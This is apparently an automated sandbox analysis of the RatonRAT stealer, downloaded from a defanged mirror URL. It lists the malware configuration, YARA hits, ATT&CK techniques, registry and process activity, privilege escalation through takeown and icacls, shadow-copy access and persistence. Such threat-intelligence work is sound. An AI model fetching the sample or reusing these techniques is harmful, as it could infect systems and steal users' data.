ratonrat | hxxps://www[.]mirrored[.]to/files/52993C91/

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
499s
max time network
541s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/10/2026, 05:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.mirrored.to/files/52993C91/
Sample261017-fxar8aat3x

Score

10^/10

defense_evasion discovery execution exploit ratonrat persistence ransomware stealer

Malware Config

Extracted

Family

ratonrat

Version

Free

Mutex

silly1

Attributes

assist
silly11
box
silly8
box_icon
silly10
box_msg
silly9
box_title
silly17
defender
silly23
delay
silly5
hide_file
silly7
open_website
silly13
password
silly20
process_critical
silly6
raw
silly21
reconnect
silly22
startup
silly4
tag
silly16
uac
silly11
vm
silly15
website
silly14

Signatures

Family: RatonRAT
RatonRAT is an information stealer written in C#.
stealer ratonrat

Detects RatonRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0004000000018794-1162.dat	family_ratonrat
behavioral1/files/0x000d00000001c6ff-1164.dat	family_ratonrat
behavioral1/memory/2928-1166-0x000001D47D820000-0x000001D47D9FE000-memory.dmp	family_ratonrat

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2140	takeown.exe
6472	icacls.exe

Executes dropped EXE 4 IoCs

pid	Process
6896	Raton.exe
2904	Raton.exe
2928	ratonClient.exe
4656	Raton.exe

Loads dropped DLL 2 IoCs

pid	Process
2904	Raton.exe
4656	Raton.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2140	takeown.exe
6472	icacls.exe

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
15	ipapi.co
15	api.ipify.org
259	ipapi.co
275	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6248	cmd.exe
6420	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Raton.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Raton.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Raton.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Raton.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Raton.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Raton.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4072	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies Control Panel 2 IoCs

defense_evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Colors	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Colors	Raton.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\MRUListEx = 00000000ffffffff	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Downloads"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	Raton.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}\Instance\	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	Raton.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Version = "1"	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	Raton.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Raton.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{EF608343-0BB1-47FE-A1B9-59C8F461ED8A}	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\NodeSlot = "5"	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}\Instance\	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	Raton.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	Raton.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Raton.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Raton.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{4EC3BCF1-8320-441A-9669-A18823256668}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\MRUListEx = ffffffff	Raton.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}\Instance\	Raton.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
6456	msedge.exe
6456	msedge.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2904	Raton.exe
4656	Raton.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeRestorePrivilege	4044	7zG.exe
Token: 35	4044	7zG.exe
Token: SeSecurityPrivilege	4044	7zG.exe
Token: SeSecurityPrivilege	4044	7zG.exe
Token: SeDebugPrivilege	6896	Raton.exe
Token: SeDebugPrivilege	2904	Raton.exe
Token: 33	6404	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	6404	AUDIODG.EXE
Token: SeDebugPrivilege	2928	ratonClient.exe
Token: SeDebugPrivilege	4656	Raton.exe
Token: SeTakeOwnershipPrivilege	2140	takeown.exe

Suspicious use of FindShellTrayWindow 59 IoCs

pid	Process
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
4044	7zG.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
4656	Raton.exe
4656	Raton.exe
5988	msedge.exe

Suspicious use of SendNotifyMessage 21 IoCs

pid	Process
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
5988	msedge.exe
2904	Raton.exe
2904	Raton.exe
2904	Raton.exe
4656	Raton.exe
4656	Raton.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2904	Raton.exe
2904	Raton.exe
4656	Raton.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5988 wrote to memory of 4148	5988	msedge.exe	89
PID 5988 wrote to memory of 5544	5988	msedge.exe	90
PID 5988 wrote to memory of 4072	5988	msedge.exe	92
PID 5988 wrote to memory of 5544	5988	msedge.exe	90
PID 5988 wrote to memory of 5544	5988	msedge.exe	90
PID 5988 wrote to memory of 2076	5988	msedge.exe	93
PID 5988 wrote to memory of 2076	5988	msedge.exe	93
PID 5988 wrote to memory of 3132	5988	msedge.exe	94
PID 5988 wrote to memory of 3132	5988	msedge.exe	94
PID 5988 wrote to memory of 3132	5988	msedge.exe	94
PID 5988 wrote to memory of 4952	5988	msedge.exe	95
PID 5988 wrote to memory of 4952	5988	msedge.exe	95
PID 5988 wrote to memory of 4952	5988	msedge.exe	95
PID 5988 wrote to memory of 1516	5988	msedge.exe	96
PID 5988 wrote to memory of 1516	5988	msedge.exe	96
PID 5988 wrote to memory of 1516	5988	msedge.exe	96
PID 5988 wrote to memory of 5428	5988	msedge.exe	97
PID 5988 wrote to memory of 5428	5988	msedge.exe	97
PID 5988 wrote to memory of 5428	5988	msedge.exe	97
PID 5988 wrote to memory of 1264	5988	msedge.exe	99
PID 5988 wrote to memory of 1264	5988	msedge.exe	99
PID 5988 wrote to memory of 3844	5988	msedge.exe	100
PID 5988 wrote to memory of 3844	5988	msedge.exe	100
PID 5988 wrote to memory of 588	5988	msedge.exe	102
PID 5988 wrote to memory of 4276	5988	msedge.exe	104
PID 5988 wrote to memory of 4276	5988	msedge.exe	104
PID 5988 wrote to memory of 4276	5988	msedge.exe	104
PID 5988 wrote to memory of 2892	5988	msedge.exe	105
PID 5988 wrote to memory of 2892	5988	msedge.exe	105
PID 5988 wrote to memory of 2892	5988	msedge.exe	105
PID 5988 wrote to memory of 264	5988	msedge.exe	106
PID 5988 wrote to memory of 264	5988	msedge.exe	106
PID 5988 wrote to memory of 264	5988	msedge.exe	106
PID 5988 wrote to memory of 764	5988	msedge.exe	107
PID 5988 wrote to memory of 764	5988	msedge.exe	107
PID 5988 wrote to memory of 764	5988	msedge.exe	107
PID 5988 wrote to memory of 3784	5988	msedge.exe	108
PID 5988 wrote to memory of 3784	5988	msedge.exe	108
PID 5988 wrote to memory of 3784	5988	msedge.exe	108
PID 5988 wrote to memory of 1944	5988	msedge.exe	109
PID 5988 wrote to memory of 3636	5988	msedge.exe	110
PID 5988 wrote to memory of 1944	5988	msedge.exe	109
PID 5988 wrote to memory of 3636	5988	msedge.exe	110
PID 5988 wrote to memory of 3636	5988	msedge.exe	110
PID 5988 wrote to memory of 4560	5988	msedge.exe	111
PID 5988 wrote to memory of 4560	5988	msedge.exe	111
PID 5988 wrote to memory of 4560	5988	msedge.exe	111
PID 5988 wrote to memory of 5064	5988	msedge.exe	112
PID 5988 wrote to memory of 3288	5988	msedge.exe	114
PID 5988 wrote to memory of 2308	5988	msedge.exe	115
PID 5988 wrote to memory of 4548	5988	msedge.exe	116
PID 5988 wrote to memory of 6700	5988	msedge.exe	120
PID 5988 wrote to memory of 6700	5988	msedge.exe	120
PID 6896 wrote to memory of 2904	6896	Raton.exe	123
PID 5988 wrote to memory of 6456	5988	msedge.exe	125
PID 5988 wrote to memory of 3844	5988	msedge.exe	126
PID 5988 wrote to memory of 3844	5988	msedge.exe	126
PID 5988 wrote to memory of 6908	5988	msedge.exe	127
PID 5988 wrote to memory of 6908	5988	msedge.exe	127
PID 5988 wrote to memory of 3580	5988	msedge.exe	128
PID 5988 wrote to memory of 3580	5988	msedge.exe	128
PID 5988 wrote to memory of 4796	5988	msedge.exe	131
PID 5988 wrote to memory of 4796	5988	msedge.exe	131
PID 5988 wrote to memory of 4132	5988	msedge.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.mirrored.to/files/52993C91/
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x238,0x28c,0x7fffa51fc188,0x7fffa51fc194,0x7fffa51fc1a0
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,15659829704470990962,15285329177277291918,262144 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:2
  2⤵
  PID:5544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,1007136016998572142,11668673887169433124,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2216,i,6204488786573855600,877671914442773284,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:13
  2⤵
  PID:2076
